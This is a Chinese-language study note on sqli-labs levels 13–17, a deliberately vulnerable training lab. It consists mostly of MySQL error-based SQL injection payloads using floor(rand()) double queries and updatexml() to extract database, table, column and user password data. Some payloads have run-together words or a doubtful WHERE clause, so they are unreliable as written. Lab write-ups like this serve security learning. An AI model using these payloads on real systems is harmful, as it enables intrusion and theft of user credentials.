首页
学习
活动
专区
工具
TVP
发布

sqli labs学习笔记13-17floor、updatexml

【第十三关】

双注入 单引号 字符串 括号

输个admin' 看下他的报错

其实系统的数据库执行的是'Select * from user where username=(" ) password=(" )limit 0,1'加入我们的admin' 变成了'Select * from user whereusername=("admin' ) password=(" ) limit 0,1'

用个or 1=1 实现登录 这个万能密码很简单

我们发现 已经不回显数据了 只会发现登录成功与否 这里用floor()

这里用了个新方法 新的知识点了 floor()原理可以看这篇文章 https://www.cnblogs.com/litlife/p/8472323.html

先获取库名

admin')and (select count(*),concat(0x3a,0x3a,(selectdatabase()),0x3a,0x3a,floor(rand()*2)) as a from information_schema.columnsgroup by a) #

发现只能有一列 我们修改下语句

admin')and (select 1 from(select count(*),concat(0x3a,0x3a,(selectdatabase()),0x3a,0x3a,floor(rand()*2)) as a from information_schema.columnsgroup by a)) #

发现每个派生的表都有自己的别名

admin') and (select1 from(select count(*),concat(0x3a,0x3a,(selectdatabase()),0x3a,0x3a,floor(rand()*2)) as a from information_schema.columnsgroup by a)b) #

拿到数据库名 接下来拿第一张表名

admin')and (select 1 from(select count(*),concat(0x3a,0x3a,(select table_name frominformation_schema.tables wheretable_schema=database() limit 0,1),0x3a,0x3a,floor(rand()*2)) as a frominformation_schema.columns group by a)b) #

第二张表名

admin')and (select 1 from(select count(*),concat(0x3a,0x3a,(select table_name frominformation_schema.tables wheretable_schema=database() limit 1,1),0x3a,0x3a,floor(rand()*2))as a from information_schema.columns group by a)b) #

同理 我们拿下users表

接下来 拿列名

admin') and (select1 from(select count(*),concat(0x3a,0x3a,(select column_name frominformation_schema.columns where table_name='users' limit0,1),0x3a,0x3a,floor(rand()*2)) as a from information_schema.columns group bya)b) #

拿下第一列为id

admin')and (select 1 from(select count(*),concat(0x3a,0x3a,(select column_name frominformation_schema.columns where table_name='users' limit 1,1),0x3a,0x3a,floor(rand()*2)) as a frominformation_schema.columns group by a)b) #

第二列为username

admin')and (select 1 from(select count(*),concat(0x3a,0x3a,(select column_name frominformation_schema.columns where table_name='users' limit 2,1),0x3a,0x3a,floor(rand()*2)) as a frominformation_schema.columns group by a)b) #

第三列为password

最后拿字段的值了

admin')and (select 1 from(select count(*),concat(0x3a,0x3a,(selectconcat_ws(char(32,58,32),id,username,password) from users wheretable_schema=database() limit 0,1),0x3a,0x3a,floor(rand()*2))as a from information_schema.columns group by a)b) #

第二个字段 就是

admin')and (select 1 from(select count(*),concat(0x3a,0x3a,(selectconcat_ws(char(32,58,32),id,username,password) from users wheretable_schema=database() limit 1,1),0x3a,0x3a,floor(rand()*2))as a from information_schema.columns group by a)b) #

【第十四关】

依旧先输入错误语句 让他报错 我们输入admin"

和上一关一样的方法 不过是变成的双引号 而且没有了括号

开始拿库名admin"and (select 1 from(select count(*),concat(0x3a,0x3a,(selectdatabase()),0x3a,0x3a,floor(rand()*2)) as a from information_schema.columnsgroup by a)b) --+

照着葫芦画就行了

【第十五关】

这关已经没有错误提示了 只会返回登录成功与否 适合使用时间延迟

方法与之前的时间盲注方式一样 不做详解了

【第十六关】

看懂了吧 怎么做

【第十七关】

这关我用的是updatexml() 用法可以参考这篇文章https://blog.csdn.net/m0_37438418/article/details/80260813

将'号加在密码上 终于出现报错

首先先尝试下 之前学的报错注入

拿库名and updatexml(1,concat(0x7e,(SELECTdatabase()),0x7e),1) --+

拿表名and updatexml(1,concat(0x7e,(select concat(table_name) frominformation_schema.tables where table_schema='security' limit 3,1),0x7e),1) --+

拿列名and updatexml(1,concat(0x7e,(selectconcat(column_name) from information_schema.columns where table_name='users'limit 0,1),0x7e),1) --+

今天主要就两个新方法 至于原理以后再写了 弄了遍 还是有点晕

  • 发表于:
  • 原文链接https://kuaibao.qq.com/s/20190201G0KFYZ00?refer=cp_1026
  • 腾讯「腾讯云开发者社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。
  • 如有侵权,请联系 cloudcommunity@tencent.com 删除。

扫码

添加站长 进交流群

领取专属 10元无门槛券

私享最新 技术干货

扫码加入开发者社群
领券